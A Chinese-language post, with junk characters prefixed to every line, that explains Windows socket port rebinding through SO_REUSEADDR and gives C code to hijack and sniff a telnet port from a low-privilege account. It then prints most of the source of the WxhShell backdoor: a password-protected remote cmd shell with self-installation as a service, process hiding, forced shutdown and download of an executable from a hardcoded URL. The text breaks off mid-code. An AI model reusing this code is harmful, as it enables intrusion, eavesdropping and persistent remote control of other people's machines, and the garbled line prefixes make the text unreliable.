在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
b\(f>g[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
k_V+;&:% f 3H uT=n saddr.sin_family = AF_INET;
oDA'$]UL gGVt( ^ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#H~55 ))F ,/+Mp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#,#_" ;O hQBAC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8?nn4]P s5@BVD'}E 这意味着什么?意味着可以进行如下的攻击:
M
+OVqTsFU uQ W)pD{_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.:j{d}p} q0+N#$g# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-NwG'
U~ ` 7iA?; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%Y ZCdS fxcE1=a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
FvT4?7- *1dZs~_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v)du] }'P|A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
uBww 4~Cf_`X}] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Jq` Dvz G ky*EY #include
|-=-/u1 #include
,h^6y #include
QIkFX.^ #include
gV@xu)l DWORD WINAPI ClientThread(LPVOID lpParam);
aftt^h int main()
@sn:%/x _ {
"Y+VNS WORD wVersionRequested;
`?$-T5Rr DWORD ret;
QgU]3`z" WSADATA wsaData;
W@AHE?s6g BOOL val;
rB+ ( SOCKADDR_IN saddr;
Hj
>fg2/ SOCKADDR_IN scaddr;
%h ;oi/pe int err;
^N<aHFF SOCKET s;
oi0O4J%H SOCKET sc;
z#Jw?K_ int caddsize;
l5w^rj HANDLE mt;
tQzbYzGb7 DWORD tid;
@M\JzV4 A[ wVersionRequested = MAKEWORD( 2, 2 );
C,W@C err = WSAStartup( wVersionRequested, &wsaData );
c:K/0zY if ( err != 0 ) {
zdJPMNHg printf("error!WSAStartup failed!\n");
Nt8"6k_ return -1;
\*CXXp` }
c_qox saddr.sin_family = AF_INET;
)$^xbC#j`3 3/vtx9D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\/1~5mQ+ 2tK~]0x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H,KH}25 saddr.sin_port = htons(23);
$CB&>?~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-J63'bb7oi {
'n7|fjX?Y printf("error!socket failed!\n");
BPkMw'a: return -1;
s&ox%L4 }
&G%AQpDW5 val = TRUE;
65 zwi- //SO_REUSEADDR选项就是可以实现端口重绑定的
^iEf"r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|h $Gs2 {
*=@8t^fa86 printf("error!setsockopt failed!\n");
l atm_\ return -1;
$Z&6 }
%t_'rv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+jrx;xwot //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z6gwAvf< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8i"CU:( A&1EOQ=N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
eJqx,W5MK] {
yzfiH4 ret=GetLastError();
%u%;L+0Q[ printf("error!bind failed!\n");
%GjG.11V,_ return -1;
Aa1#Ew<r }
9Y2u/|!.3 listen(s,2);
5L6.7}B while(1)
PYQ {
VT>-* caddsize = sizeof(scaddr);
d
>L8SL //接受连接请求
FsUH/Y
y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P:6K if(sc!=INVALID_SOCKET)
51s\)d%l {
rs4:jS$) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>%6j -:S if(mt==NULL)
# d"M(nt {
0 F8xS8vK+ printf("Thread Creat Failed!\n");
kN 2mPD/ break;
1Mq"f7X8
}
suQ`a_zJ }
KUX6n(u CloseHandle(mt);
L'
_%zO }
q#Otp\f closesocket(s);
q:up8-LAr WSACleanup();
!pe[H*Cy return 0;
XKp(31]) }
2 br>{^T DWORD WINAPI ClientThread(LPVOID lpParam)
KX x+J}n {
n)cc\JPQ SOCKET ss = (SOCKET)lpParam;
71Q`B#t0'Z SOCKET sc;
mn1!A`$ unsigned char buf[4096];
t`&mszd~T SOCKADDR_IN saddr;
s7E %Et long num;
si%V63 ^lN DWORD val;
ajRht +{ DWORD ret;
Q>yj<DR //如果是隐藏端口应用的话,可以在此处加一些判断
m?Jnb\0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
eiOAbO#U saddr.sin_family = AF_INET;
z1RHdu0;z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)e[q%%ks saddr.sin_port = htons(23);
Wsd_RT }ww if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,f>^q" {
!K_<7iExI\ printf("error!socket failed!\n");
\Q`#E'? return -1;
LCRWC`%& }
hBZh0xy val = 100;
:n<l0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~>]Ie~E: ( {
;mV>k_AG ret = GetLastError();
Lo'GfHE return -1;
~&0lWa }
x6T$HN/2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%xx;C{g;a {
vRmzjd~ ret = GetLastError();
!N:w?zsp return -1;
=*4^Dtp }
|L;Hd.l7^* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!`U #Pjp. {
][z!}; printf("error!socket connect failed!\n");
YS9)%F=X closesocket(sc);
'bji2#z[ closesocket(ss);
'6WZi|(a return -1;
<1sUK4nQ, }
Pmuk !V}f while(1)
I`{=[.c {
,^iT,MgNNf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
99zMdo S //如果是嗅探内容的话,可以再此处进行内容分析和记录
10dK%/6/O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MmfshnTN num = recv(ss,buf,4096,0);
;h~k B if(num>0)
+ZwTi!W send(sc,buf,num,0);
UA0R)BH' else if(num==0)
s0Y7`uD^ break;
!vr
A\d num = recv(sc,buf,4096,0);
W70BRXe04D if(num>0)
IOrYm send(ss,buf,num,0);
iee`Yg!EOH else if(num==0)
Q>=/u- break;
48GaZ@v }
usugjx^p closesocket(ss);
H'2o84$ closesocket(sc);
yK2>ou
return 0 ;
+ L5 }
j,_{f =3; FP6JfI8 fb]=MoiJ ==========================================================
3v~}hV/RUy )6he;+ 下边附上一个代码,,WXhSHELL
w/0;N`YB Fw#wVs)@: ==========================================================
xNVSWi, ]%5gPfv[T #include "stdafx.h"
2Q/V D,yU WdrMp #include <stdio.h>
B8-Y)u1G #include <string.h>
MIv,$ #include <windows.h>
Bm^8"SSN #include <winsock2.h>
P_N},Xry #include <winsvc.h>
.w~L0( #include <urlmon.h>
1 rmN) 6:TA8w| #pragma comment (lib, "Ws2_32.lib")
p_sqw~)^% #pragma comment (lib, "urlmon.lib")
^\PNjj*C i `? f sU #define MAX_USER 100 // 最大客户端连接数
1UH_"Q03 #define BUF_SOCK 200 // sock buffer
R<>uCF0 #define KEY_BUFF 255 // 输入 buffer
YH[HJ#:7r
PurY_ #define REBOOT 0 // 重启
cmLI!"RLe #define SHUTDOWN 1 // 关机
apm,$Vvjy 0[OlJMVf #define DEF_PORT 5000 // 监听端口
) nnv{hN HtI>rj/\
x #define REG_LEN 16 // 注册表键长度
@v\jL+B+m #define SVC_LEN 80 // NT服务名长度
| i'w"Tz4 Ef6LBNWY. // 从dll定义API
~!dO2\X+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(7PVfS>; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E+aE5wmr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Luh*+l-nO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4vPKDd cT^x^% // wxhshell配置信息
B\7 80p< struct WSCFG {
O%s?64^U int ws_port; // 监听端口
cy_zEJjbD char ws_passstr[REG_LEN]; // 口令
$-]PD`wmY int ws_autoins; // 安装标记, 1=yes 0=no
fPsUIlI/A char ws_regname[REG_LEN]; // 注册表键名
!L'O")!3 char ws_svcname[REG_LEN]; // 服务名
U| 1&=8l char ws_svcdisp[SVC_LEN]; // 服务显示名
{B\lk:"X char ws_svcdesc[SVC_LEN]; // 服务描述信息
oth=#hfU^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K}Pi"Le@W int ws_downexe; // 下载执行标记, 1=yes 0=no
6~(iLtd# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
T+<OlXpL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
kv3V| &uv7`VT };
|Q~5TL>b 6?jSe<4x // default Wxhshell configuration
W#[3a4%m struct WSCFG wscfg={DEF_PORT,
^cYt4NHXn "xuhuanlingzhe",
PxZMH= 1,
A
v%'#1w<" "Wxhshell",
h|&qWv "Wxhshell",
so\8.(7n "WxhShell Service",
xHdv?69, "Wrsky Windows CmdShell Service",
!p"Ijz5 "Please Input Your Password: ",
[kg*BaG: 1,
[U?a %$G> "
http://www.wrsky.com/wxhshell.exe",
lF1ieg"i M "Wxhshell.exe"
ig,v6lqhM };
sr,8Qd0M h7W<$\P // 消息定义模块
B6a
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,!g%`@u char *msg_ws_prompt="\n\r? for help\n\r#>";
<)9E .h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+LAj h)m char *msg_ws_ext="\n\rExit.";
lilF _y char *msg_ws_end="\n\rQuit.";
~f>km|Q{u char *msg_ws_boot="\n\rReboot...";
G-Ju`. char *msg_ws_poff="\n\rShutdown...";
(&Z`P char *msg_ws_down="\n\rSave to ";
-7l)mk Z vO,1B char *msg_ws_err="\n\rErr!";
3sq(FsT char *msg_ws_ok="\n\rOK!";
J#& C&S 2 p^QB^HEV char ExeFile[MAX_PATH];
d#G H4+C int nUser = 0;
o8lwwM* HANDLE handles[MAX_USER];
0xg6 int OsIsNt;
e!~x-P5M` |#!P!p} SERVICE_STATUS serviceStatus;
wNm~H SERVICE_STATUS_HANDLE hServiceStatusHandle;
!NFP=m1 r6eApKZ>f6 // 函数声明
`JL&x|q o int Install(void);
|F#L{=B int Uninstall(void);
t{)J#8:g int DownloadFile(char *sURL, SOCKET wsh);
G_a//[p int Boot(int flag);
m`lsUN, void HideProc(void);
Z}'"c9oB int GetOsVer(void);
BAS3&f A int Wxhshell(SOCKET wsl);
i^'Uod0d. void TalkWithClient(void *cs);
j8Csnm0 int CmdShell(SOCKET sock);
#/Qe7:l int StartFromService(void);
%@Ty,d:;= int StartWxhshell(LPSTR lpCmdLine);
(Q09$ P*;zDQy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Xz, sL VOID WINAPI NTServiceHandler( DWORD fdwControl );
+b]+5! <+c6CM$#}V // 数据结构和表定义
7&z`N^dz{ SERVICE_TABLE_ENTRY DispatchTable[] =
"ewB4F[ {
9>"To {wscfg.ws_svcname, NTServiceMain},
kdrya {NULL, NULL}
M%8: };
h0fbc;l GM<r{6Qy // 自我安装
&<sN(;%0R int Install(void)
Q@lJ| {
7 n=fB#!*3 char svExeFile[MAX_PATH];
( nH3 HKEY key;
U0:tE>3` strcpy(svExeFile,ExeFile);
2x7%6' mmj6YQ0a // 如果是win9x系统,修改注册表设为自启动
ES#K'Lf if(!OsIsNt) {
}TCOm_Y/qL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E|Lv_4lb= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%r*zd0*<n1 RegCloseKey(key);
c|'hs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}~RH!Q1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,4wZ/r>
d RegCloseKey(key);
Dab1^H!KT return 0;
OW12m{ }
b}[W[J}` }
vK?{Z^J][ }
.{1MM8 Q else {
PiRbdl f`jRLo*L // 如果是NT以上系统,安装为系统服务
Nz&J&\X)tD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R3$K[Lv, if (schSCManager!=0)
2Xm\; 7 {
3' WS6B+ SC_HANDLE schService = CreateService
e_BOzN~c (
X192Lar schSCManager,
=kspHP<k wscfg.ws_svcname,
=y/VrF.bV wscfg.ws_svcdisp,
Tl!}9/Q5E: SERVICE_ALL_ACCESS,
h.6yI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
WlnI`!)d SERVICE_AUTO_START,
*zy0,{bl SERVICE_ERROR_NORMAL,
dB`YvKr# svExeFile,
P==rY5+s` NULL,
gn?
~y` NULL,
UEJX0= NULL,
@])qw_ NULL,
\DE`tkV8 NULL
TY,w3E_ );
MOFIR
wVZ+ if (schService!=0)
yS#LT3>l {
H!ZPP8]j> CloseServiceHandle(schService);
$ #C$V> CloseServiceHandle(schSCManager);
wL2d.$?TEg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
CW Y'q strcat(svExeFile,wscfg.ws_svcname);
: /9@p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mb*L'y2r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ipEsR/O RegCloseKey(key);
*fq=["O return 0;
Nd&u*&S }
kg$<^:uX }
~h;c3#wuc CloseServiceHandle(schSCManager);
+[JGi"ca }
)ll`F7B- }
h{]l?6` i%M2(8&^Q return 1;
~PUz/^^
s }
w $7*za2 `n7z+ // 自我卸载
b0i]T?# int Uninstall(void)
#{ M$%l> {
Frt_X % HKEY key;
a`CsL Bv& PCs+`
WP!M if(!OsIsNt) {
[KR`%fD0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#nc{MR#R RegDeleteValue(key,wscfg.ws_regname);
& h9ji[ RegCloseKey(key);
n-dO |3, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-\j}le6;c RegDeleteValue(key,wscfg.ws_regname);
LD WFc_ RegCloseKey(key);
0 )#5_-% return 0;
itM6S$ }
[t
/hjm"$ }
g[j"]~ }
:JSOj@s else {
m5sgcxt/ +GWeu0b(~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-lyT8qZ:( if (schSCManager!=0)
4.7ePbk[E {
S"w$#"EJA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Warz"n]iC if (schService!=0)
fAf sKO* {
PKu+$ if(DeleteService(schService)!=0) {
v[ru }/4 CloseServiceHandle(schService);
rZZueYuXO CloseServiceHandle(schSCManager);
O'" &9 return 0;
|-I[{"6q$@ }
Y*0%lq({H CloseServiceHandle(schService);
B5!$5Qc }
4)iSz> CloseServiceHandle(schSCManager);
:t]YPt }
GLL, }
iy8UrgG;l ekfD+X return 1;
u9e A"\s }
r 9@W8](\ j%b/1@I // 从指定url下载文件
O GrVy=rd int DownloadFile(char *sURL, SOCKET wsh)
[,-MC7>] {
gmWRw{nS+ HRESULT hr;
)2z
(l-$. char seps[]= "/";
VVvV]rU~ char *token;
0W9,uC2:N char *file;
;|b
D@%@ char myURL[MAX_PATH];
xF5q=%n char myFILE[MAX_PATH];
R1X9 Jk|c!,! strcpy(myURL,sURL);
DVRE ;+Jt token=strtok(myURL,seps);
m"~$JA u while(token!=NULL)
[z`U9J {
_5.^A&Y* file=token;
W=o90TwbN token=strtok(NULL,seps);
}V?SedsY }
.wx;!9 zO2Z\E'%. GetCurrentDirectory(MAX_PATH,myFILE);
v?)JM+ strcat(myFILE, "\\");
xe2Ap[Y'M strcat(myFILE, file);
_;{n+i[ send(wsh,myFILE,strlen(myFILE),0);
(D{Fln\ send(wsh,"...",3,0);
J(h=@cw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9~<HTH if(hr==S_OK)
d> `9!) return 0;
?I`']|I else
kh 17 return 1;
~DVAk|fc H
|Z9]+h)7 }
@P4fR7 WtFv"$V // 系统电源模块
Io{)@H"f int Boot(int flag)
.3A66 O~zT {
I'
ej?~ HANDLE hToken;
\QstcsEt TOKEN_PRIVILEGES tkp;
`pE~M05 %.BbPR 7?h if(OsIsNt) {
a{QHv0goG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%s%v|HDs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AIF?+i%H} tkp.PrivilegeCount = 1;
s6rdQI] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M/ 0!B_(R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P8Fq %k if(flag==REBOOT) {
EMmNlj6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
y|nMCkuX return 0;
9PVM06
}
M$
`b$il else {
7Nw7a;h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;-lk#D?n9 return 0;
"CB* }
@/ wJW``; }
T c4N\Cy else {
h2zuPgz, if(flag==REBOOT) {
,g#=pdX; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1 +O- g return 0;
l];,)ddD9 }
D!ToCVos else {
.KGW#Qk8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_+S`[:;a return 0;
O$E3ry+? }
^UZEdR; }
~#&bDot +g<2t, return 1;
,o]"G[Jk }
v-3In\T=^ jmmm0,#D // win9x进程隐藏模块
bg*4Z?[dd void HideProc(void)
*
'WzIk2 {
} '. l'% #qGfo) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;+g
p#&i` if ( hKernel != NULL )
:Oo(w%BD] {
/-b)`%Q|Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*T*=~Y4kE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
((\s4- FreeLibrary(hKernel);
b !J21cg<L }
G)';ucs:, <YP>c return;
^!L'Aoy;E }
Ka&[
Oz<w L@2T // 获取操作系统版本
}a,j1r_Hl& int GetOsVer(void)
Vz!W(+ {
!krbGpTVH OSVERSIONINFO winfo;
+ O=wKsGD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qa~o'
GetVersionEx(&winfo);
6&S;Nrg9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(n05MwKu\ return 1;
D+]#qS1q else
CDQ}C=4 return 0;
_{)e\n }
y~w2^VN= w7$*J:{ // 客户端句柄模块
J4#t1P@Na int Wxhshell(SOCKET wsl)
Kgbgp mW {
^]3Y11sI SOCKET wsh;
sWP5=t(i+9 struct sockaddr_in client;
Yj|Oy DWORD myID;
,`v)nwP fHCLsI while(nUser<MAX_USER)
5 e~\o}] {
#:_qo int nSize=sizeof(client);
XMd-r8yYr wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N W :_)1 if(wsh==INVALID_SOCKET) return 1;
Fd":\7p R"EX$Zj^E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$-[V)]h if(handles[nUser]==0)
Q<3=s6@T closesocket(wsh);
XZLo*C!MG else
@tWyc%t nUser++;
cJd~UQ<k }
t8DySFT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
iUJqAi1o 7"Sw))H| return 0;
uIvy1h9m }
Z|K+{{C 5:6as^i:b // 关闭 socket
v*SSc5gFG void CloseIt(SOCKET wsh)
AA"?2dF {
obKWnet closesocket(wsh);
9bRlSb@ nUser--;
U:ggZ`. ExitThread(0);
0f}zm8p7. }
eVyXh>b* 4n @}X-) // 客户端请求句柄
zV_U/]y void TalkWithClient(void *cs)
'VcZ_m: {
[,Q(~Qb jFY6}WY)}7 SOCKET wsh=(SOCKET)cs;
D::$YR
~R char pwd[SVC_LEN];
5@ecZ2`)+h char cmd[KEY_BUFF];
mD{<Lp= char chr[1];
DvCs 5 int i,j;
#5-5N5-1 u@tJu'X while (nUser < MAX_USER) {
6:O3>'n 4nQk*:p(X if(wscfg.ws_passstr) {
8\+kfK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ZqT?7 |i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+ntrp='7O7 //ZeroMemory(pwd,KEY_BUFF);
P9=L?t. i=0;
knrR%e; while(i<SVC_LEN) {
d0ThhO 7cV9xIe^ // 设置超时
2?9 FFlX fd_set FdRead;
c
Q:.V struct timeval TimeOut;
-\6nT'P FD_ZERO(&FdRead);
KKP}fN FD_SET(wsh,&FdRead);
f_a.BTtNO TimeOut.tv_sec=8;
Pj9n`LwM TimeOut.tv_usec=0;
8.FBgZh* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)nmLgsg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
):OGhWq FjF:Eh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#va|&QBZxM pwd
=chr[0]; 35I y\
if(chr[0]==0xd || chr[0]==0xa) { ^j&'2n@9a
pwd=0; /nEt%YYh;x
break; mL/]an@Y
} g"v g
{Q
i++; )';Rb$<Qn
} }#}IR5`=E
|M]#D0v
// 如果是非法用户,关闭 socket wv0d"PKTS
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SFCKD/8
} to{/@^ D
eQ_dO]Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sf )ojq6s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eAKK uML
R|aA6} /I
while(1) { n!=%MgF'*p
PhF.\Wb
ZeroMemory(cmd,KEY_BUFF); e FDhJ
?O(KmDH
// 自动支持客户端 telnet标准 4|*b{Ni
j=0; t
I}@1
while(j<KEY_BUFF) { Ah:!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8:^`rw4a0
cmd[j]=chr[0]; zy\p,
if(chr[0]==0xa || chr[0]==0xd) { YoiM\gw
cmd[j]=0; V#8]io
break; "8MG[$Y
} ^2Sa_.
j++; qj*IKS
} .BN~9w
N!Dc\d=8q]
// 下载文件 B;Pws$J
if(strstr(cmd,"http://")) { W:D'k^u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .3WDtVE
if(DownloadFile(cmd,wsh)) pW ]+a0j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P\<dy?nZ
else N2:};a[ui5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LDlj4>%pW^
} ~Wy&xs ZH
else { f>.A^?
Pw:(X0@
switch(cmd[0]) { Hik8u!#P
n+Ofbiz@
// 帮助 %-ih$ZY
case '?': { `k y>M-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v~^c-]4I
break; lF-;h{
} YT!QY@qw
// 安装 SN2X{Q|*
case 'i': { S~jl%]
if(Install()) ga0>J_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl-r8?H}
else rN6@=uB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N)'oX3?x
break; 86Q\G.h7
} }#~@HM>6Z
// 卸载 U-.?+`
case 'r': { &4M0 S+.
if(Uninstall()) ?DPNa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 mM0\ja
else &_X6m0z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |lH~nU.*
break; A*l(0`aWq
} v_Om3i9$E
// 显示 wxhshell 所在路径 +zodkB~)
case 'p': { s@C KZ`
char svExeFile[MAX_PATH]; 9L3#aE]C
strcpy(svExeFile,"\n\r"); J
}izTI
strcat(svExeFile,ExeFile); x`N_tWZ
send(wsh,svExeFile,strlen(svExeFile),0); 4k'2FkDA
break; hgCF!eud
} tBEZ4 W>67
// 重启 :%GxU;<E{
case 'b': { WK7=z3mu
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {l&6=z
if(Boot(REBOOT)) N<wy"N{iS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt/p'khP3
else { gb
6 gIFq;
closesocket(wsh); y[7*^9J
ExitThread(0); # Sfz^
} BNU]NcA#*,
break; 'Y23U7 n0B
} hpJ[VKe
// 关机 MGn:Gj"d
case 'd': { O+Z[bis`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h%e}4U@X
if(Boot(SHUTDOWN)) :UjHP}s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PMr
{BS
else { S-^y;#=
closesocket(wsh); q^}QwJw
ExitThread(0); |RT#ZMJek
}
0:-i
break; )W^Wqa8mG|
} ,aI 6P-
// 获取shell #;. tVo I
case 's': { uS :3Yo
CmdShell(wsh); W-mi1l^H{
closesocket(wsh); 1g`$[wp|
ExitThread(0); i9}n\r0=c
break; ,ry2J,IT7
} x:8x GG9
// 退出 M7vc/E}]n
case 'x': { :b+C<Bp64r
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7aTo!T
CloseIt(wsh); 9k.LV/Y
break; @+A`n21,O
} T
xRa&1
// 离开 ]X4
A)4y
case 'q': { \
B 0xL,o<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K~$o2a
e
closesocket(wsh); )fSQTbB;0
WSACleanup(); -L7Q,"a$
exit(1); E"k\eZns&
break; C:/ca)
} Zab5"JR
} ` c~:3^?9d
} :w_J/k5Zd
hNXP-s
// 提示信息 e"en
ma\_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -05zcIVo
} GRz`fO
} L+Q"z*W
+=I_3Wtth
return; u->UV:u
} ]D&$k P(
W&`_cGoP
// shell模块句柄 k^I4z^O=-;
int CmdShell(SOCKET sock) D6Ov]E:fa
{ mj :8ZZ
STARTUPINFO si; b\~rL,7(
ZeroMemory(&si,sizeof(si)); qA:CV(Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _QCspPT' c
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -)@DH;[tb
PROCESS_INFORMATION ProcessInfo; 7SYU^GD
char cmdline[]="cmd"; aE.T%xR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !!f)w!wW
return 0; 7]a6dMh
} R:YX{Tq
!]qwRB$5
// 自身启动模式 CD1}.h
int StartFromService(void) Ty\&ARjb 8
{ Nb\4Mv`
typedef struct A" `62
{ h$|K vS
DWORD ExitStatus; xin<.)!E
DWORD PebBaseAddress; (A`/3Aq+
